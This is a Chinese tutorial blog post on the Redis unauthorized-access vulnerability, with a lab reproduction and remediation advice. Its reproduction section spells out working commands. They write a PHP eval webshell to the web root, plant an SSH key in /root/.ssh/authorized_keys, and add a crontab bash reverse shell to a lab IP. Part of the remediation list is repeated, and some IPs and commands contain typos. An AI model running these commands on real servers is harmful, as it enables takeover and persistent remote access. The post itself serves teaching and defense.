redis未授权漏洞介绍和复现

谁借莪１个温暖的怀抱￠ 2022-09-03 04:25 281阅读 0赞

### 文章目录 ###

*   *   *  漏洞名称
         *  影响版本
         *  redis漏洞危害
         *  Redis 基本语法
         *   *  Redis 配置
             *  Redis 命令
             *  SET 命令
             *  Get 命令
             *  Flushall 命令
             *  Redis 数据备份与恢复
             *  Redis 安全
         *  实验环境及准备
         *  漏洞检测
         *  漏洞复现
         *   *  方法一绝对路径写webshell
             *  方法二：公私钥认证获取root权限
             *  方法三 利用利用contrab计划任务反弹shell
             *  修复建议

### 漏洞名称 ###

漏洞描述Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的config 命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized\_keys 文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器。简单说，

漏洞的产生条件有以下两点：

（1）redis绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略，直接暴露在公网；

（2）没有设置密码认证（一般为空），可以免密码远程登录redis服务。

### 影响版本 ###

Redis 数据库

port:6379

### redis漏洞危害 ###

（1）攻击者无需认证访问到内部数据，可能导致敏感信息泄露，黑客也可以恶意执行flushall来清空所有数据；

（2）攻击者可通过EVAL执行lua代码，或通过数据备份功能往磁盘写入后门文件；

（3）最严重的情况，如果Redis以root身份运行，黑客可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器

### Redis 基本语法 ###

#### Redis 配置 ####

Redis 的配置文件位于 Redis 安装目录下，文件名为 **redis.conf**(Windows 名为redis.windows.conf)。你可以通过 **CONFIG**命令**查看**或**设置**配置项。

**Redis CONFIG 查看配置命令格式如下：**

redis 127.0.0.1:6379> CONFIG GET CONFIG_SETTING_NAME

使用 \*\*\*\*\*号获取所有配置项：

redis 127.0.0.1:6379> CONFIG GET *
      1) "dbfilename"
      2) "dump.rdb" 
    .....

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]

**编辑配置**

你可以通过修改 redis.conf 文件或使用 **CONFIG set**命令来修改配置。

**CONFIG SET**命令基本语法：

redis 127.0.0.1:6379> CONFIG SET CONFIG_SETTING_NAME NEW_CONFIG_VALUE

**实例**

127.0.0.1:6379> CONFIG set loglevel "notice" 
    OK
    127.0.0.1:6379> CONFIG get  loglevel
    1) "loglevel"
    2) "notice"
    127.0.0.1:6379> CONFIG get  timeout
    1) "timeout"
    2) "0"
    127.0.0.1:6379> CONFIG set  timeout 300
    OK
    127.0.0.1:6379> CONFIG get  timeout
    1) "timeout"
    2) "300"

![在这里插入图片描述][b97e8a24e6024eecbc20df9c4b53329c.png]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]

**参数说明**

几个redis.conf 配置项说明如下：

<table> 
 <thead> 
  <tr> 
   <th>配置项</th> 
   <th>说明</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td><code>port 6379</code></td> 
   <td>指定 Redis 监听端口，默认端口为 6379</td> 
  </tr> 
  <tr> 
   <td><code>bind 127.0.0.1</code></td> 
   <td>绑定的主机地址</td> 
  </tr> 
  <tr> 
   <td><code>timeout 300</code></td> 
   <td>当客户端闲置多长秒后关闭连接，如果指定为 0 ，表示关闭该功能</td> 
  </tr> 
  <tr> 
   <td><code>databases 16</code></td> 
   <td>设置数据库的数量，默认数据库为0，可以使用 SELECT 命令在连接上指定数据库id</td> 
  </tr> 
  <tr> 
   <td><code>save &lt;seconds&gt; &lt;changes&gt;</code></td> 
   <td>指定在多长时间内，有多少次更新操作，就将数据同步到数据文件，可以多个条件配合</td> 
  </tr> 
  <tr> 
   <td><code>dbfilename dump.rdb</code></td> 
   <td><strong>指定本地数据库文件名，默认值为 dump.rdb</strong></td> 
  </tr> 
  <tr> 
   <td><code>dir ./</code></td> 
   <td><strong>指定本地数据库存放目录</strong></td> 
  </tr> 
 </tbody> 
</table>

#### Redis 命令 ####

Redis 命令用于在 redis 服务上执行操作。要在 redis 服务上执行命令需要一个 redis 客户端。Redis 客户端在我们之前下载的的 redis 的安装包中。

**Redis 客户端的基本语法为：**

$ redis-cli

以下实例讲解了如何启动 redis 客户端：

启动 redis 客户端，打开终端并输入命令 **redis-cli**。该命令会连接本地的 redis 服务。

$ redis-cli
    redis 127.0.0.1:6379> PING
    PONG
    
    连接到本地的 redis 服务并执行 PING命令，该命令用于检测 redis 服务是否启动，如果服务器运作正常的话，会返回一个 PONG 。

![在这里插入图片描述][905d279028ac4a5e8e64db585f0cb0bd.png]

**在远程服务上执行命令**

如果需要在远程 redis 服务上执行命令，同样我们使用的也是 **redis-cli**命令。

**语法**

$ redis-cli -h host -p port -a password

以下实例演示了如何连接到主机为 127.0.0.1，端口为 6379 ，密码为 mypass 的 redis 服务上。

[root@localhost bin]# red
    red           rediff        redis-cli     redis-server  
    [root@localhost bin]# redis-cli -h 127.0.0.1 -p 6379 -a "123456"
    Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 
    127.0.0.1:6379> ping
    PONG

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]

#### SET 命令 ####

Redis SET 命令用于设置给定 key 的值。如果 key 已经存储其他值， SET 就覆写旧值，且无视类型。

redis SET 命令基本语法如下：

redis 127.0.0.1:6379> SET KEY_NAME VALUE

#### Get 命令 ####

Redis Get 命令用于获取指定 key 的值。如果 key 不存在，返回 nil 。

redis Get 命令基本语法如下：

redis 127.0.0.1:6379> GET KEY_NAME

![在这里插入图片描述][bac14f2818bc465ea98ff0759246dd9d.png]

#### Flushall 命令 ####

Redis Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key )。

redis Flushall 命令基本语法如下：

redis 127.0.0.1:6379> FLUSHALL

#### Redis 数据备份与恢复 ####

Redis **SAVE**命令用于创建当前数据库的备份。Save 命令执行一个同步保存操作，将当前 Redis 实例的所有数据快照(snapshot)以默认 RDB 文件的形式保存到硬盘。

redis Save 命令基本语法如下：

redis 127.0.0.1:6379> SAVE OK

该命令将在 redis 安装目录中创建dump.rdb文件。

**恢复数据**

如果需要恢复数据，只需将备份文件 (dump.rdb) 移动到 redis 安装目录并启动服务即可。获取 redis 目录可以使用 **CONFIG**命令，如下所示：

127.0.0.1:6379> config get dir 
    1) "dir"
    2) "/var/spool/cron"

以上命令 **CONFIG GET dir**输出的 redis 目录为/var/spool/cron。

![在这里插入图片描述][cf8fd39daa974dbf98c760d150ce6123.png]

#### Redis 安全 ####

我们可以通过 redis 的配置文件设置密码参数，**这样客户端连接到 redis 服务就需要密码验证**，这样可以让你的 redis 服务更安全。

我们可以通过以下命令查看是否设置了密码验证：

127.0.0.1:6379> CONFIG get requirepass

**默认情况下 requirepass 参数是空的，也就是说默认情况下是无密码验证的，这就意味着你无需通过密码验证就可以连接到 redis 服务。**

![在这里插入图片描述][a670604aad9647b3982f24cfb1115eb6.png]

你可以通过以下命令来修改该参数：

127.0.0.1:6379> CONFIG set requirepass "657260"
    OK
    127.0.0.1:6379> CONFIG get requirepass

设置密码后，客户端连接 redis 服务就需要密码验证，否则无法执行命令。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]

**语法**

**AUTH**命令基本语法格式如下：

127.0.0.1:6379> AUTH password #该命令用于检测给定的密码和配置文件中的密码是否相符。

redis Auth 命令基本语法如下：

redis 127.0.0.1:6379> AUTH PASSWORD #密码匹配时返回 OK ，否则返回一个错误。

实例

127.0.0.1:6379> auth 123456
    OK
    127.0.0.1:6379> set mykey "test"
    OK
    127.0.0.1:6379> get mykey
    "test"

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]  
![在这里插入图片描述][5b322cb6096b40d78ae3771dfcfb6adf.png]

### 实验环境及准备 ###

第一步 下载压缩包

`wget http://download.redis.io/releases/redis-5.0.12.tar.gz`

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 5]

第二步 解压安装

tar -zxvf redis-5.0.12.tar.gz 解压
    cd redis-5.0.12/  #进入redis目录
    make 编译
    如下图提示 “It’s a good idea to run ‘make test’ “ 则代表编译安装成功

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 6]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 7]

第三步 配置redis

cd src 
    cp redius-cli /usr/bin
    cp redis-server /usr/bin
    cd ..
    cp redis.conf /etc/

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 8]

第四步 使用/etc目录下的reids.conf文件中的配置启动redis服务

`redis-server /etc/redis.conf`

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 9]

### 漏洞检测 ###

Nmap -A -p 6379 --script redis-info 192.168.2332.100
    ./redis-cli -h 192.168.232.200
    Info #获取版本、系统、路径
    keys *
    get user
    get password

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 10]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 11]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 12]

方法二：通过脚本批量检测漏洞脚本：https://github.com/code-scan/rescan。

### 漏洞复现 ###

#### 方法一绝对路径写webshell ####

我们可以将dir设置为一个目录a，而dbfilename为文件名b，再执行save或bgsave，则我们就可以写入一个路径为a/b的任意文件：

redis-cli -h 192.168.232.200
    config set dir /var/www/html/ # 设置备份文件路径
    config set dbfilename redis.php # 设置备份文件名
    set webshell "\n\n\n<?php @eval($_POST['shell']);?>\n\n\n" # 向数据库插入payload
    save # 保存数据库到备份文件

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 13]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 14]

技巧：

写入webshell：
    
    set x "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"
    （\r\n\r\n代表换行的意思，用redis写入文件的会自带一些版本信息，如果不换行可能会导致无法执行，查看/var/www/html/目录下的shell.php文件内容，确认是否写入成功）
    
    数据库过大时：
      <?php 
      set_time_limit(0); 
      $fp=fopen('bmjoker.php','w'); 
      fwrite($fp,'<?php @eval($_POST[\"bmjoker\"]);?>'); 
      exit(); 
      ?>

#### 方法二：公私钥认证获取root权限 ####

利用条件：

*  服务端的Redis连接存在未授权，在攻击机上能用redis-cli直接登陆连接，并未登陆验证。
 *  服务端存在.ssh目录并且有写入的权限

原理：

*  数据库中插入一条数据，将本机的公钥作为value，key值随意，
 *  通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys，把缓冲的数据保存在文件里，
 *  可以在服务器端的/root/.ssh下生成一个授权的key。

第一步 ssh免密码配置

ssh-keygen -t rsa   #生成公钥key
    cd /root/.ssh/
    cat /root/.ssh/id_rsa.pub
    (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
    # 将公钥导入key.txt文件（前后用\n换行，避免和Redis里其他缓存数据混合)
    cat /root/.ssh/key.txt | redis-cli -h 192.168.232.200 -x set test
    #读取key.txt文件内容写入服务端Redis的缓冲里
    # -x 代表从标准输入读取数据作为该命令的最后一个参数。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 15]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 16]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 17]

第二步 连接 Redis 写入文件

redis-cli -h 192.168.232.200
    keys * 查看密钥信息
    get test
    config get dir
    config set dir /root/.ssh/ #报错error) ERR Changing directory: No such file or directory，需要在/etc下新建.ssh目录
    config set dbfilename "authorized_keys"
    save

![在这里插入图片描述][1cf7ac1cce66437f8ae10b7dac9e3a22.png]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 18]

第三步 通过私钥登录`ssh 192.268.232.200`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 19]

#### 方法三 利用利用contrab计划任务反弹shell ####

set x "\n* * * * * bash -i >& /dev/tcp/192.168.232.225/888 0>&1\n"
     config set dir  /var/spool/cron/ 
    # centos的路径
    #debian的路径 /var/spool/cron/crontabs 
    # ubuntu的路径/var/spool/cronconfig
    config set dbfilename root
    save

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 20]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 21]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 22]

#### 修复建议 ####

*  1、比较安全的办法是采用绑定IP的方式来进行控制。请在redis.conf文件找到如下配置
    
        # If you want you can bind a single interface, if the bind option is not
        # specified all the interfaces will listen for incoming connections.
        # bind 127.0.0.1
    
    \#bind 127.0.0.1前面的注释\#号去掉，然后把127.0.0.1改成你允许访问你的redis服务器的ip地址，表示只允许该ip进行访问，这种情况下，我们在启动redis服务器的时候不能再用:redis-server，改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录，这个方法有一点不太好，我难免有多台机器访问一个redis服务。
 *  2、设置密码，以提供远程登陆打开redis.conf配置文件，找到requirepass，然后修改如下:
    
        requirepass yourpassword
        yourpassword就是redis验证密码，设置密码以后发现可以登陆，但是无法执行命令了。
        命令如下:
        redis-cli -h yourIp -p yourPort//启动redis客户端，并连接服务器
        keys * //输出服务器中的所有key
        报错如下
        (error) ERR operation not permitted
        这时候你可以用授权命令进行授权，就不报错了
        命令如下:
        auth youpassword
 *  3、在需要对外开放的时候修改默认端口（端口不重复就可以）port 2344
 *  4、以低权限运行 Redis 服务（重启redis才能生效）>>为 Redis 服务创建单独的用户和家目录，并且配置禁止登陆
 *  5、最后还可以配合iptables限制开放6、清理系统中存在的后门木马。

quirepass，然后修改如下:

requirepass yourpassword
    yourpassword就是redis验证密码，设置密码以后发现可以登陆，但是无法执行命令了。
    命令如下:
    redis-cli -h yourIp -p yourPort//启动redis客户端，并连接服务器
    keys * //输出服务器中的所有key
    报错如下
    (error) ERR operation not permitted
    这时候你可以用授权命令进行授权，就不报错了
    命令如下:
    auth youpassword

*  3、在需要对外开放的时候修改默认端口（端口不重复就可以）port 2344
 *  4、以低权限运行 Redis 服务（重启redis才能生效）>>为 Redis 服务创建单独的用户和家目录，并且配置禁止登陆
 *  5、最后还可以配合iptables限制开放6、清理系统中存在的后门木马。

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]: /images/20220829/23fb479be0884039b3fed8fb91367882.png
[b97e8a24e6024eecbc20df9c4b53329c.png]: /images/20220829/b934f5909c184e3abaf6c4400347bd05.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]: /images/20220829/9441392d297a41a19c937b0d9bf838e4.png
[905d279028ac4a5e8e64db585f0cb0bd.png]: /images/20220829/33d04a26d363431391f400878be93183.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]: /images/20220829/11ab301aeec2465893818c968b3a0fa7.png
[bac14f2818bc465ea98ff0759246dd9d.png]: /images/20220829/67bee088233a49e093aa2282dd9d1416.png
[cf8fd39daa974dbf98c760d150ce6123.png]: /images/20220829/be1177a45d9f448ab9dfc6041a630256.png
[a670604aad9647b3982f24cfb1115eb6.png]: /images/20220829/ef09683506b143cf943a36d74dd2f468.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]: /images/20220829/0ba94bbe71cc4dc2bef1bb14e81baad8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]: /images/20220829/59066a290d1547de8ce0d3cff0776103.png
[5b322cb6096b40d78ae3771dfcfb6adf.png]: /images/20220829/979a02b54c894f55b3df234fdaba6159.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 5]: /images/20220829/0487cf15f5ea42afa02fc011ad44d625.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 6]: /images/20220829/7ea3f9de8211445997716f2725e68e67.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 7]: /images/20220829/d4ed74622fa64661854110d0461aaa72.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 8]: /images/20220829/12f155f6908e4c409cf7bcf53a6256ca.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 9]: /images/20220829/cce5f8d803a94972a446137bea94fcf2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 10]: /images/20220829/2ad24b1f24c94017a89ff599b274a28e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 11]: /images/20220829/a9abeb25041445099350718bbe72eea8.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 12]: /images/20220829/42bc6a8939614f3da05850b7f5c6a680.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 13]: /images/20220829/ab1dd568648c41dfa6ff8c5d1d1eec4c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 14]: /images/20220829/c12962cf294a4aceb017c4ae8c8f429b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 15]: /images/20220829/fea39333f0b840069ff28490b88c7bd4.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 16]: /images/20220829/d781929763c742c49252d08d7e1cf03b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 17]: /images/20220829/21223b66dbf64b20b692cf7f3d4ad844.png
[1cf7ac1cce66437f8ae10b7dac9e3a22.png]: /images/20220829/bcd1c048b4e1456480c19b3ae0f67246.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 18]: /images/20220829/de161758a3f84124827e38c99695db3c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 19]: /images/20220829/b2375ca3e1f1436ca5c071d9f523c92a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 20]: /images/20220829/c014b3bb2ea24ba691771584ce7a57fe.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 21]: /images/20220829/9ac9b1ad5d2647d0b74b6852a9c3bdfa.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 22]: /images/20220829/f77994dc7f2b42029b5982c0496d277c.png